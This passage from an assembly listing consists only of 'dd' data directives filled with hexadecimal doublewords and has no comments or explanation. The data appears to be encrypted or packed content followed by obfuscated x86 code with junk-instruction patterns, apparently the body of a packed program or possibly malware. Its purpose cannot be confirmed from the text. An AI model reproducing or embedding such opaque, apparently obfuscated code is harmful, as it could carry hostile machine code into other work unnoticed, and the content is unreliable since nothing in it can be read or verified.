46478A4h, 0C64AA462h, 3337B664h, 7188C11Fh dd 0BA12634Eh, 0C2C81B29h, 22462BA0h, 0BAA0B2FFh, 22949F29h dd 965903C2h, 0E7C16CBFh, 422BC9C3h, 0C9C3B08Ah, 0B48E462Bh dd 94E2B2D8h, 0EF5139CEh, 868B452Bh, 0E5EAA488h, 434800E7h dd 93F0254Ch, 0B0CCA650h, 462BE153h, 0C9C3B48Eh, 4F07ECC6h dd 534D534Ah, 0C6DCB66Eh, 474D05ECh, 0ACE2D4FAh, 877FA4A2h dd 53B05933h, 35462BE1h, 0A5655ADDh, 748B3654h, 0CF00D348h dd 0BC2C30E8h, 0A3C5CBBAh, 87C6C9C3h, 0BAA14D64h, 0D0D62929h dd 5F39F1D6h, 0ECC6B2D8h, 0A7614708h, 18FCF6FCh, 0B2D8845Eh dd 888D472Bh, 0EAEFA78Ah, 5DA0FDBEh, 53B0D9B3h, 8E462BE1h dd 2BC9C3B4h, 0CBD33546h, 3FBEB85Bh, 0B2D8BA94h, 0A4A2ACE2h dd 52FD877Fh, 0D5DA9478h, 0B0B6D8DEh, 462BE153h, 8CC3B48Eh dd 0A0872A4Dh, 9CEF29BAh, 462B7496h, 41ECA487h, 0E2B2D867h dd 5139CE94h, 2652FDEFh, 0AFF4F8BAh, 0D2F4FA23h, 2BE153B0h dd 0C3B48E46h, 8A422BC9h, 9B75D8B0h, 1F8FDB7h, 0ECC6D9FBh dd 50474C06h, 0A09B1639h, 90E329BAh, 0B2F0478Ah, 0C6835633h dd 0A14D6487h, 0D62929BAh, 2EEDD6D0h, 978E934Bh, 4AA9D5ECh dd 0D1B5F4B3h, 0C3ACCED4h, 6487C6C9h, 29BAA14Dh, 34ECCF29h dd 0A4898389h, 0B2D812ECh, 254887C6h, 29BAA08Ch, 0DA49FF2h dd 6929BAA1h, 2D161016h, 0CED38B6Eh, 0D8522CD7h, 0B05933B2h dd 462BE153h, 0ECC6B48Eh, 554C5109h, 1DF3ED4Fh, 2BB2D86Fh dd 0C3B08A42h, 2362EDC9h, 0BAA0B100h, 747ACD29h, 0A0CFE252h dd 33A429BAh, 0E153B059h, 462BA4E6h, 0B2D8B48Eh, 0B690482Bh dd 0B99B75D8h, 0B6D7F9FFh, 0E153B0D4h, 0A387462Bh, 0C3643EE9h dd 0C1EAE2C9h, 2B5D29BAh, 0C6B28C44h, 4B5109ECh, 6F1DD8FEh dd 5B5B87C6h, 0FD5503C6h, 282DE7CBh, 3D808631h, 29BA1B74h dd 0C3DDB70Ah, 24482BC9h, 0BAA0B001h, 0C873C629h, 0E2B2D8EEh dd 36BFEFD8h, 90482BABh, 2BC9C3B6h, 0D8B69048h, 0E11EE2B2h dd 0FD1973B9h, 5ECC68Fh, 4B51484Dh, 0F0CA79D6h, 2B4D530Bh dd 7990482Bh, 0A09A173Ah, 240929BAh, 3C42956Ch, 2BC9C31Ah dd 0D8B69048h, 0B07DE2B2h, 0FDFAECB8h, 0E153B08Fh, 0B690482Bh dd 482BC9C3h, 75D8B690h, 0F9FEB69Bh, 2BDAFC02h, 0C6B28C44h dd 20680E9Ah, 0B0B63E23h, 583D174Eh, 9EA49BA0h, 90482B7Ch dd 4D8CC3B6h, 0BAA0872Ah, 969CEF29h, 7ECC674h, 4D534A4Fh dd 87C6C715h, 0BAA14D64h, 0D0D62929h, 0BAA1248Dh, 8FFD5729h dd 0CAA453B0h, 27252AE4h, 0DAE08B45h, 2BA4E6B8h, 0D8B58F49h dd 0C66F1DB2h, 0BAA10EA3h, 0C6E92829h, 29BAA0EBh, 1B3A4093h dd 0C9C3EEC8h, 0CCDB79E2h, 492BCE10h, 1639788Fh, 29BAA09Bh dd 567990E3h, 29BAA15Bh, 0A8CAD023h, 6F1DC9C3h, 0A112A3C6h dd 0C87429BAh, 0EB95EDDBh, 0C39D2376h, 0B6A88D1h, 13CBAE60h dd 94775168h, 0F0D9D7DCh, 913C3338h, 7D80758Dh, 7D836B30h dd 2BB2D85Bh, 39788F49h, 0BAA09B16h, 8A90E329h, 0FDB2D868h dd 0E153B08Fh, 0FA06321Dh, 0A63EF4A0h, 0C6416369h, 0BAA112A3h dd 47217429h, 0A10EA3C6h, 0E92829BAh, 0BAA0EBC6h, 3A409329h dd 0C6EEC81Bh, 494E08ECh, 0F0EA4C52h, 4D05ECC6h, 514B5148h dd 0C3DBB56Fh, 0C66F1DC9h, 0BAA10EA3h, 3B156829h, 0E34F9AC6h dd 0DDC1DA61h, 0C6648AD7h, 0BCDF03ECh, 29BAA0F5h, 7E832E81h dd 0A0878187h, 0B2D80EE8h, 87C65933h, 0BAA14D64h, 0EBC6E929h dd 9329BAA0h, 2B0F6940h, 0CA756C71h, 80F24FC4h, 87C66F1Dh dd 41D02D5Bh, 8A903B17h, 0B9E46A47h, 0E7C11429h, 0A10EA3C6h dd 156829BAh, 0D9C9C33Bh, 0F3F38F4Bh, 0B66424CFh, 0C2449AC6h dd 509A7676h, 5B5F9068h, 90965511h, 3618F231h, 7E33767Ch dd 0F829BA05h, 75D8CBA5h, 0F9FEB69Bh, 0C6DAFC02h, 4A4E08ECh dd 0C8C804B6h, 96D9DF53h, 10CCBEC5h, 8A422B3Ah, 0E8A08785h dd 99F6B7E3h, 0B0D2AC56h, 321DE153h, 26713C06h, 2B3102AEh dd 0EA3C609h, 6829BAA1h, 0A12B86A9h, 5329BAh, 0A3C67B55h dd 29BAA10Eh, 0C33B1568h, 0C66F1DC9h, 0A14D6487h, 0D62929BAh dd 2B5D83D0h, 3DC23344h, 0D31CFD7Ch, 91959202h, 0E6DF51AFh dd 0E5C790FBh, 1AF49F4Ah, 9FEDC9C3h, 0B3869AC6h, 62B43FB8h dd 0BB98195Ch, 2BDB29B9h, 88868B45h, 0EFE6EBA3h, 9CA15B3Dh dd 0D92479A6h, 53B0552Fh, 2867E6E1h, 0BAA0AC05h, 9178D229h dd 6282ED9h, 0B2D86F1Dh, 738A422Bh, 5A9FB099h, 98D574A1h dd 61838934h, 2A4D8CC3h, 29BAA087h, 72772F14h, 4B51A47Bh dd 6487C629h, 29BAA14Dh, 0D6AD654Eh, 0A0837D83h, 75D80EE8h dd 0F8FDB79Bh, 0EDD9FB01h, 90482B9Fh, 2BC9C3B6h, 0D8B28C44h dd 8F492BB2h, 0BA9E78h, 75D8D8FAh, 7194B89Bh, 29BAA140h dd 3338E336h, 0E9A18A3Ch, 0C5E7EDE4h, 3FD2D1E2h, 9AC6A656h dd 0E93C969h, 999399D9h, 0C323FDB7h, 8F492BC9h, 9B75D8B5h dd 5C14F7B6h, 0B1B56057h, 7AE5B245h, 65878D56h, 0E433442Bh dd 7A64A9Ah, 0A60FA2C5h, 146729B9h, 68A7BE69h, 0F7F2AC8Eh dd 29B9A5BAh, 496B71C4h, 0CBB28CC3h, 2BEB0D13h, 0C3B58F49h dd 6487C6C9h, 29BAA14Dh dd 0D6D0D629h, 0D85D37EFh, 0C32BE2B2h, 0F7087A6Fh, 0E153B095h dd 0A085442Bh, 41ECE3E8h, 2BC9C367h, 0D8B28C44h, 0C3F298B2h dd 33442BC9h, 0D20EC730h, 0C09A4558h, 9AC6B2D8h, 0CB5F114Dh dd 73B6BC2Fh, 85C00655h, 83422BD0h, 0EAE1E69Eh, 583C3A3Fh dd 0E831999Eh, 3F21488Bh, 2BE153B0h, 0B4FD2044h, 0CA29BAA0h dd 29D48E70h, 0A88D677Eh, 0EEF4EBF0h, 0C6C9C3CCh, 4C5109ECh dd 72554F55h, 1015CFB3h, 0D8946E19h, 0F6B79B75h, 0A6AB5610h dd 5F0AC4A8h, 9AC63759h, 5E057BDBh, 3BF3DA90h, 0A9908A90h dd 0B2D817F1h, 53B05933h, 89482BE1h, 0F1E8EDA7h, 0C9C36C46h dd 60C69AC6h, 2A88F7F8h, 8B432A24h, 0C59AC6B1h, 8DD8F745h dd 0EDE7494Fh, 0BA8982E2h, 452BF529h, 9AC6B18Bh, 0ADD1F7BFh dd 0E3303666h, 21225480h, 678B2649h, 0A0F329BAh, 0A70F209Ch dd 321D7FA1h, 0B6BB7358h, 0C697B9BFh, 0FC9AD87h, 0A0EBC609h dd 275329BAh, 753DA711h, 113036DDh, 0C9C3E4BEh, 0BAA0CFE2h dd 4E286729h, 0FAB7B26Ch, 8429BAA0h, 2B092B31h, 0C6B18B45h dd 63490AECh, 96F8FEA9h, 0E9A3855Fh, 482BC1E3h, 87C6B690h dd 0BAA14D64h, 0AD654E29h, 0DB937CD6h, 2E34DFD6h, 452BBBE1h dd 87C6B18Bh, 66BF385Bh, 0D085DF5h, 29BA83A4h, 348187DAh dd 0B059330Eh, 482BE153h, 0C9C3B690h, 868A422Bh, 8990F456h dd 924000DDh, 0ECC6B2D8h, 4C464C06h, 0C3D2AC66h, 15CDB28Ch dd 9FEDED0Fh, 0BAA0CFE2h, 5933A429h, 2A009AC6h, 0BE046C2Ah dd 94EEEE4h, 0CBD17CDAh, 704AF956h, 0ABCDD38Bh, 6F1DA4E6h dd 482BB2D8h, 173A7990h, 29BAA09Ah, 698B91E4h, 6F1DB2D8h dd 0A112A3C6h, 0F53429BAh, 0BAA0DFD2h, 92449729h, 0F8EFF4AEh dd 0A680D3F2h, 0ECC6C9C3h, 0F4BDE006h, 8A29BAA0h, 90878C37h dd 0F5AD908Ah, 651D04DEh, 1016CEB3h, 0C6C9C3EEh, 7332549Ah dd 0B9FB6150h, 0C6CA1D29h, 60C71B9h, 0F5D985C7h, 252DA55Ah dd 0D840EEAEh, 8D472BB2h, 0F4B39C76h, 584F540Eh, 0ABB1A8ADh dd 0E2C9C389h, 29BAC148h, 21472B3Bh, 5DC665F5h, 0A055DF2h dd 29B9FBA7h, 0F7D17CCFh, 6F1DB2D8h, 500AECC6h, 6DACEB4Ah dd 0BAA1674Ah, 98523429h, 25686EC1h, 29BAA08Ch, 0CEF486B2h dd 0A83665EEh, 563083A2h, 9FEDC9C3h, 0B38D472Bh, 472BC9C3h dd 87C6B38Dh, 2647785Bh, 332E309Bh, 29B9D77Eh, 529FA5F8h dd 0F79AC62Ch, 98229DFh, 0F5BCFF05h, 7E29BA31h, 53B05933h dd 6F4265A4h, 729BAA1h, 0C68CAEB4h, 40242E9Ah, 0FA008189h dd 88621C00h, 4C06ECC6h, 374C5047h, 26754941h, 0FCF6585Eh dd 0A187462Bh, 0A159587Bh, 0D22529BAh, 8B657C27h, 0F3EAEFA9h dd 0B2D8CBEDh, 4E08ECC6h, 0C94E5249h, 0F2EE6364h, 1B0F3F9h dd 7A29BA57h, 4F07ECC6h, 534D534Ah, 739FB66Eh, 6A74514Ah dd 30E15449h, 0D518F4F8h, 440B0A26h, 0C36EE82Bh, 0C9C39BBDh dd 0B38D472Bh, 462BB2D8h, 0B2D8B48Eh, 53B05933h, 8D472BE1h dd 0D04A4A76h, 64DA25F4h, 0C9C33C5Eh, 9E87462Bh, 0E3E1E6h dd 0A14C4348h, 0C9C31CF6h, 1D34472Bh, 0E133347h, 0D8FFD984h dd 6321DB2h, 33F21AF8h, 3E606634h, 0A10EA3C6h, 156829BAh dd 853D24FEh, 61838980h, 133675D8h, 29BAA09Eh, 5D7F85D8h dd 0B38D472Bh, 66608CC3h, 0BFE210A2h, 2B4D6F75h, 20CE8E46h dd 0A10EA3C6h, 156829BAh, 894124FEh, 65878D84h, 6F1DC9C3h dd 0A4E6B2D8h, 75D86F1Dh, 0F5FBB59Bh, 89482BD3h, 42FCE2A3h dd 0F09B463Dh, 631DFFD9h, 0C9C33B5Dh, 0B58F492Bh, 133675D8h dd 29BAA09Eh, 5D7F85D8h, 0ECC69FEDh, 4C464C06h, 0B2C5A96Ah dd 385428EAh, 49F49F51h, 0B28CC36Fh, 170E13CBh, 85B07913h dd 0F5FBBFA8h, 8862EDD3h, 0EDE4E9A1h, 0CFE2C5E7h, 6729BAA0h dd 0EDF2AA8Dh, 0FDCEF0F6h, 0E153B08Fh, 503B67E6h, 6121FE07h dd 2B4C6E74h, 0D8B28C44h, 8D472BB2h, 87C61FCDh, 0BAA14D64h dd 0D0D62929h, 0A1634E71h, 0C81B29BAh, 0E2C9C3EEh, 29BAA0CFh dd 33442BA4h, 28CBBA73h, 2A04AFEAh, 4C06ECC6h, 0E84A5047h dd 8F492BEEh, 0E2B2D8B5h, 0CF7CBE0h, 0F01C3353h, 473CB602h dd 2A4C5230h, 2BE153B0h, 0B1002349h, 0CD29BAA0h, 0C3F5CF7Ah dd 8F492BC9h, 0C6B2D8B5h, 99EB679Ah, 3B4176B6h, 0C810C5F8h dd 8FFD4E5Fh, 2BE153B0h, 9E788F49h, 29F6A7BAh, 8A860730h dd 0DDE3DADFh, 2BC9C3BBh, 0D8B58F49h, 0FFB99B75h, 0C9EC03FAh dd 29BAA0E8h, 13353B8Eh, 0FD20442Bh, 29BAA0B4h, 0F2CC77CAh dd 500AECC6h, 14E544Bh, 0C65933DBh, 830D599Ah, 9399180Eh dd 2B4FC11Eh, 0C3B58F49h, 8F492BC9h, 0E2B2D8B5h, 5FC8DBDBh dd 0B0593358h, 492BE153h, 0A0B10023h, 7ACD29BAh, 0FCDEB8CFh dd 40463D42h, 2BC9C31Eh, 39788F49h, 0BAA09B16h, 912DB629h dd 97B53017h, 33566DC0h, 29B9E57Eh, 7D9FA5F8h, 0E0E2B2D8h dd 530CF7CBh, 858A422Bh, 0F9E0A187h, 29919641h, 604083E0h dd 0E153B0F2h, 0B58F492Bh, 442BC9C3h, 0C9C3B28Ch, 788F492Bh dd 0FA00BA9Eh, 9B75D8D8h, 5A12F5B4h, 6018FDAFh, 3C5E645Bh dd 4D6487C6h, 2929BAA1h, 248DD0D6h, 1A29BAA1h, 0A0F9B8DBh dd 328529BAh, 59330A2Ch, 2BE153B0h, 0C3B58F49h, 0D86F1DC9h dd 8F492BB2h, 9B75D8B5h, 6448FAB2h, 1D82A4AAh, 12A3C66Fh dd 7429BAA1h, 0C9C34721h, 788F492Bh, 0FC01B99Eh, 0C3DDFF05h dd 0C66F1DC9h, 0E202B89Ah, 0BADB86A1h, 37393D4Dh, 0DC947981h dd 2F35E0D7h, 0ECC6BCE2h, 0AB634807h, 79BBFA00h, 4B03ECC6h dd 2B09C345h, 49858A42h, 68823A23h, 455E7F4Dh, 9DFCD1D6h dd 0B5629F9h, 2F2A3C08h, 29BBF77Eh, 72E10D24h, 0E39B7E36h dd 8D221ADFh, 3A3FF9DBh, 2DB73D43h, 0E9A18647h, 2842EDE4h dd 0B1B67056h, 0CDBEEA75h, 117477C2h, 4B62A5ABh, 5729BBBAh dd 9180EF7Bh, 1AD64677h, 0E70190EDh, 48464B05h, 5BDA463h dd 8069435Ah, 0C6CCC3C8h, 0DC947B79h, 4B05EBC5h, 0F1C0E346h dd 8D29B988h, 3C898F3Ah, 5F19FFD9h, 255D635Ah, 0BA606E9Ah dd 9E8D1B5Ah, 5FDC4498h, 0DAB02548h, 4706D643h, 0BC248D24h dd 0EB96E929h, 0F61BB6D1h, 0F6CF29F8h, 0E5C33994h, 428EBCA5h dd 6A000000h, 0DCAEC882h, 51233DF5h, 0C89AB46Ch, 3B0D27DFh dd 30859F59h, 0F6B09287h, 6C260ADCh, 0E59D8052h, 5913F9CBh dd 51745F3Fh, 21D31060h, 0C60AA416h, 484E08ECh, 0FB086405h dd 38F29h, 24250000h, 89432B66h, 0E6A08684h, 4800E3E1h dd 0A7614543h, 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h dd 833B2220h, 16686D7Eh, 0E907E746h, 0FFF8EF2Bh, 8B604221h dd 0C9CAFE0Fh, 0AEA80DF8h, 148A4970h, 0ABA80DF9h, 0EC75EAD5h dd 54A80DF9h, 0BA8A4976h, 157AE5Dh, 0DC8A4976h, 0ABA80DFEh dd 0A775EAD5h, 77A80DFEh, 218A4977h, 0F1A80DFFh, 9B8A4977h dd 0ABA80DFFh, 2575EAD5h, 0C648D42Fh, 0C00312CDh, 534FC015h dd 0D6C490A7h, 0D1215645h, 426D8491h, 0C70DD42Fh, 0C00312CDh dd 534FC01Dh, 0D67790A7h, 0D1215645h, 426D84EDh, 0C0FCD42Fh dd 0C00312CDh, 534FC069h, 0D12390A7h, 0D1215645h, 426D84F9h dd 0C045D42Fh, 0C00312CDh, 534FC075h, 0D0BC90A7h, 0D1215645h dd 426D84F5h, 0C1DFD42Fh, 0C00312CDh, 534FC041h, 0D03290A7h dd 0D1215645h, 426D84CDh, 0C151D42Fh, 0C00312CDh, 534FC049h dd 0D3B890A7h, 0D1215645h, 426D84C5h, 5012B8C3h, 0CEDF152Ah dd 0A86CD24Eh, 458AFD4Ah dd 0D5F251A2h, 0A2188FC0h, 0A8ED96A5h, 458A152Ah, 67A02429h dd 0BAB496E3h, 54A1D5ADh, 0C6CB152Ah, 0BA415564h, 0CE75EAD5h dd 693AAE63h, 848DF50Ch, 11AB5342h, 55FFEA22h, 0ABA4245Dh dd 0B9CF9C3Ah, 0A8EDDAC3h, 4586D7E3h, 0D744DAF7h, 0CEEAE9EEh dd 292359D7h, 0B9CFD226h, 54A851A2h, 4162AD6Ch, 660351A2h dd 0EE27BFEAh, 9414DB2Fh, 947512CDh, 0D9020112h, 0A24AA9A0h dd 0EC79AEA5h, 41AE51A1h, 0E822DC09h, 0BA8DF2EAh, 0DF103773h dd 0C821732Ah, 0B368ED28h, 0FD5BEA2Dh, 508C152Bh, 0F9009881h dd 0ABAFB662h, 0EFD2A5FBh, 0DDA42C89h, 0CEEBE957h, 9661ADE7h dd 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah, 0D5F251A2h, 0A2194FC0h dd 5CDDDAA5h, 828668A1h, 54A8ADE7h, 0BACC152Ah, 0B4875830h dd 0CE529E2Dh, 9783FC69h, 0EFE2A5B9h, 0D9F9FA31h, 0A24AA9A0h dd 0D79AEA5h, 2320949Ah, 328C551Ah, 6E218481h, 29215DDFh dd 174D6h, 5C6A985Eh, 0A901402Ah, 34549521h, 458A15C2h dd 0BE290BA2h, 426D869Bh, 0DFA02429h, 4D1957h, 54A8515Eh dd 0D775532Ah, 53487EABh, 0CE19CDA1h, 979BFC69h, 0EFE2A5B9h dd 0D9F9FA31h, 0A24AA9A0h, 0D79AEA5h, 2320949Ah, 328C651Ah dd 6E218481h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h, 953BFDA2h dd 97B91DC9h, 0DE049191h, 454A38F2h, 0A82851A2h, 5E0E1AD5h dd 0EDA851A2h, 458A1523h, 862DA055h, 45869025h, 0A32851A2h dd 8E4B7332h, 972337AAh, 38A1BE4Ch, 0A8D5D8AEh, 0B9CF9E4Bh dd 54A0936Bh, 0C6669E7Fh, 0DFC8AD66h, 38011D5Fh, 0A8ED96AEh dd 458A152Ah, 0B769C20Eh, 76582622h, 8C22FD62h, 458AD507h dd 0AB54D1A2h, 45939125h, 5D1151A2h, 0B28A152Ah, 5B7AD453h dd 458A1FAFh, 5610E0A2h, 0EF4B93E2h, 7F039191h, 38031957h dd 1123305Eh, 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h dd 4D1957h, 54A8515Eh, 9D00B92Ah, 0D4A7B222h, 860085E1h dd 0E822DC08h, 0BA8DF2EAh, 0FEF8E173h, 85369FA7h, 85575645h dd 6E20D6A0h, 29215DDFh, 174D6h, 5C6A985Eh, 0A901402Ah dd 34549521h, 0CE8260A1h, 116F5DDFh, 458A15D6h, 54AFE9A2h dd 0D775152Ah, 5348779Fh, 0C8204526h, 0B368ED28h, 0F55BEA2Dh dd 949BFB2Bh, 2E853186h, 50AC5962h, 0EFAEA580h, 0DDA42C89h dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 4DFF9E4Ah dd 93A42C29h, 458AE96Fh, 0FE0451A2h, 6A8387D5h, 8C235642h dd 0EF491786h, 9414DB2Fh, 947512CDh, 0BD28E9C4h, 8600BE4Ch dd 58D57A08h, 247668A3h, 9D541429h, 108A1DE8h, 902BBD29h dd 300175D6h, 58D5DAAAh, 457650EDh, 0F8A851A2h, 4C18EA80h dd 0DFAFB18Dh, 8558B9E2h, 0E832DC08h, 0BA8DF2EAh, 94103771h dd 0CF2173E3h, 2983FB63h, 0B9F79C26h, 0A8EDDAC3h, 4582D7E3h dd 0D744DAF7h, 0CEEAE9EEh, 292359D7h, 0B9CFD226h, 54A851A2h dd 0D775BF86h, 53487EABh, 7726DDA1h, 0CE25FB63h, 426DD596h dd 0ECCE825Dh, 0EEECE4AAh, 7F029028h, 38031957h, 1123305Eh dd 4D48DCD6h, 0B82304A2h, 2576D1A9h, 0DFA02429h, 4D1957h dd 54A8515Eh, 7732732Ah, 0D903376Bh, 0A24AA9B0h, 327BAEA5h dd 234B9592h, 0FE04FD09h, 0CC866801h, 0DFC9ADDFh, 8743E96Fh dd 0DFFD51AAh, 0B94E96C6h, 5CDDDAC2h, 828668A1h, 54A8ADE7h dd 0FDEC152Ah, 0FFCEB824h, 85368FA7h, 87575645h, 320A09Ah dd 0CE25FB0Eh, 426DD596h, 0ECCE825Dh, 0EEECD8ACh, 0DDA42C89h dd 0CEEBE957h, 9661ADE7h, 0CEDF1522h, 0A86CD24Eh, 458AFD4Ah dd 0D5F251A2h, 0A21C97C0h, 0A8ED96A5h, 458A152Ah, 0DFA02429h dd 79261957h, 1E2C5E91h, 798A152Ah, 162C5E89h, 798A152Ah dd 492C5ECAh, 798A152Ah, 382C5E13h, 798A152Ah, 5C2A5EF2h dd 798A152Ah, 6B2A5EFAh, 0AC8A152Ah, 54A851D6h, 0BA8660D5h dd 0CE2559D7h, 426D849Dh, 0DA32DCF1h, 0BA8DF2B8h, 0A8EDD871h dd 458A42C3h, 58DDAEA2h, 0C88260D5h, 0B3399638h, 0DF07462Dh dd 534FC32Ch, 3C6D5h, 5492B85Eh, 3075152Ah, 5CDDAEAEh dd 0D4598FA7h, 0D9FB5645h, 0A2189BB0h, 0DD7BAEA5h, 5863E96Fh dd 0ABA851A2h, 3075195Fh, 8B32DCAAh, 168DF2BBh, 0C626CB2Fh dd 967512CDh, 0BD54142Bh, 458A152Ah, 0A8EDDAC3h, 4582D7E3h dd 3044BAh, 16EB00h, 4 dup(0) dd 1000000h, 3B401h, 6A07E700h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 1299C350h, 0E5690D7Ah dd 20A98D8Bh, 8A5007E0h, 240489F4h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0E1C35343h, 8BA33EB3h, 0B31E37B9h dd 6E919h, 0A6700000h, 394AB55Ah, 6A006Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 430F7DC3h dd 7BC23C41h, 8B0F0BEFh, 0F006AC8h, 9D89F8B7h, 7E024F5h dd 98BC858Dh, 6A07E7h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0D1275CC3h, 2C35BD8Bh, 669007E0h dd 509118B9h, 9E8h, 0E8175700h, 14F799AAh, 4CBF06F8h, 5A2406B2h dd 6810F90h, 2B000000h, 0E0290D9Dh, 6AEFB507h, 0E2E38000h dd 6A006Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h dd 57470000h, 11E9C2C3h, 0A000000h, 0C61DFB42h, 0AC6D40F9h dd 70CEF703h, 0DC1EE7DDh, 344195FFh, 6A07E0h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 150424h, 57470000h, 8B6354C3h dd 0E02FC19Dh, 600E907h, 958B0000h, 7E02DA5h, 0E8h, 0ED815D00h dd 7E798C1h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 15h, 8EC35545h, 9509608Eh, 7E01D41h, 98F78166h, 16686192h dd 0FFC42FBh, 38Fh, 0D98B6600h, 8A240481h, 8003BD14h, 95FFD2CFh dd 7E018A9h, 974FB58Dh, 816607E7h, 0C75A57F3h, 67655206h dd 79BD316Dh, 0C707E032h, 6E6F0446h, 6A6C63h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 0BD8916C3h dd 7E01049h, 0CE9h, 8C641C00h, 6B08D4F4h, 0A41BC4FBh, 0AE974h dd 0E1000000h, 55DF4FA1h, 0FECB52D8h, 610846C7h, 66007373h dd 6AD08Bh, 485958Bh, 858D07E0h, 7E7974Fh, 90DEB70Fh, 5750CE8Bh dd 905ACE8Bh, 10ED950Bh, 95FF07E0h, 7E02531h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 92C35242h, 23C56F2Ch dd 0C00BB32Ah, 4F840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 170424h, 57470000h, 2CF271C3h, 465E94Fh dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h dd 57470000h, 54A652C3h, 9ED355F0h, 8B3BA8A6h, 0E007B595h dd 0A31C6807h, 830FB817h, 10h, 0BE9h, 40FB2700h, 0F2308E5Fh dd 0BDF1EED5h, 10240481h, 6A47E85Eh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 197DC353h dd 22C6F436h, 0EB0BDBEBh, 5E9h, 4D394700h, 95FF413Fh, 7E018A9h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 5EC35545h dd 6A35DCC4h, 95F859ECh, 2E259D89h, 13E807E0h, 98000000h dd 96B1408Dh, 1681A2B7h, 0B6990B71h, 3B1958BBh, 0EA8A7A74h dd 4FB58D5Bh, 6A07E797h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 0D0D2C353h, 0F9B79314h dd 0D61715A7h, 383106C7h, 0F5803634h, 446C707h, 31342D37h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 6C35141h dd 8A46DD89h, 0DE59EA83h, 0BE94Bh, 0F1D10000h, 494C20BEh dd 0ADBED4F2h, 14E9E3h, 0BFDB0000h, 9F3F39Dh, 0AEE8C76h dd 45AC2F6Ch, 161E21D0h, 46C786A0h, 8, 0A9958900h, 8007E02Fh dd 6A12DEh, 451BD8Bh, 858D07E0h, 7E7974Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 49C35343h, 0E80F7CA3h dd 5096B6B2h, 0BE8h, 0AF94DA00h, 68F275F5h, 63CF57ECh dd 5AF88B66h, 6A240489h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 72FDC350h, 81FF30B1h dd 8A44CFDFh, 3195FF1Eh, 6A07E025h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 84EEC351h dd 699D29D5h, 0B07E02Ah, 69840FC0h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h dd 9FD8C355h, 6AF5828Fh, 6061272Ch, 8B0F50h, 5E000000h dd 0A8C0Fh, 5E90000h, 10000000h, 0A6C7708h, 221E961h, 6A0000h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h dd 91AB57C3h, 0BD89985Bh, 7E0127Dh, 4E8h, 12C00h, 66525000h dd 310FCB8Bh, 585A5F57h, 0CE850h, 0DF480000h, 0E256BB54h dd 95578211h, 8F0F4208h, 2, 8B5FD38Bh, 8B042444h, 24448900h dd 48E0F04h, 66000000h, 582236BAh, 0FFF8B70Fh, 0E018A995h dd 85015607h, 7E01471h, 4FB58D5Bh, 6007E797h, 0BE9h, 0F0A31D00h dd 0CCAA8D8Ah, 0C9E4CD65h, 0FF9B529h, 0E86107E0h, 11h dd 90C9FB1Eh, 665E581Ah, 809CF281h, 4C526BD1h, 5FF48AE3h dd 694606C7h, 8A0F656Ch, 2, 46C7D78Bh, 6E6F6D04h, 7810F63h dd 60000000h, 0D6805F52h, 46C7611Fh, 73616C08h, 159D8B73h dd 0C707E00Eh, 0C46h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0DD8CDBC3h, 0A62A4CEBh dd 5B58589h, 6A07E0h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 0E0C35646h, 3FCDCE0Ah, 0FBF431C1h, 35858957h dd 5A07E00Fh, 30DDBD29h, 858D07E0h, 7E7974Fh, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0C1C35040h, 46064661h dd 3CB83BADh, 0E890F5EBh, 0Eh, 0A30378B9h, 0A744D9FEh dd 3485C9B6h, 50595C25h, 6A90D18Ah, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0DF72C352h dd 95FFE35Eh, 7E02531h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 3AC35141h, 957C9132h, 31852956h, 5B07E02Eh dd 2F6D9589h, 0C00B07E0h, 36840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 22B134C3h dd 7ADB81DCh, 0E904FB44h, 13h, 1B619589h, 950307E0h, 7E01829h dd 0FFFA6BE9h, 8D5B57FFh, 0E0748DB5h, 57006A07h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 7A51C3E0h, 30D19D29h, 0B807E0h, 60000000h, 15419D29h dd 8B6607E0h, 0E6FF61FAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 18h, 0E8C35545h, 417438F5h, 20659D8Bh, 0C18B07E0h dd 94A70CEBh, 0AF805F00h, 0BB950994h, 0D0E919F1h, 0E9000005h dd 5C4h, 3F5913FBh, 0B4CE866Dh, 2B45FDE2h, 